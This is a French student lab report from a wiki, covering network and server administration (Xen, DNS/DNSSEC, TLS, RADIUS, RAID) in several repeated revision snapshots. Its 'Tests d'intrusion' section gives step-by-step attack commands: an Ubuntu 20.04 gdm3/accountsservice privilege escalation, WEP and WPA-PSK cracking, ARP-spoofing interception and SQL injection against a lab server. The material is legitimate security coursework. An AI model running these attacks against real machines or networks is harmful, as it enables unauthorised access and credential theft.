authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

===Ansible rôle NTP===

==Installation de Docker==

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

Fichier:Hosts.png

2020-12-17T16:12:55Z

Jsoulaim :

Fichier:Play docker.png

2020-12-17T16:12:29Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-12-14T21:18:50Z

Jsoulaim : /* Configuration IPv4 */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Configuration VLAN IPv4, IPv6=

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

==Configuration IPv4==

'''Routeur 9200
'''

Nous nous connectons en ssh à partit de notre VM:
ssh admin@10.60.100.2

ensuite:
int piedbleu.site
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

int vlan piedbleu.site
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110

on quitte et on sauvegarde de la même manière. la commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on repère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

'''Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.'''

On installe le paquet :
$ apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = PA-zabeth11
secret = pasglop
}

On ajoute un utilisateur FreeRadius "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

'''Ensuite, on configure le point d'accès WiFi.'''

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
end

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
int Gi0.8
encapsulation dot1q 308
bridge-group 8

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown

On teste que le tout fonctionne.

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

'''DHCP'''

6509E

$ ssh admin@10.64.100.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
exit
sh ip dhcp binding

C9200

$ ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
sh ip dhcp binding

TP sysres IMA5sc 2020/2021 G8

2020-12-14T17:29:41Z

Jsoulaim : /* Configuration VLAN IPv4, IPv6 */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

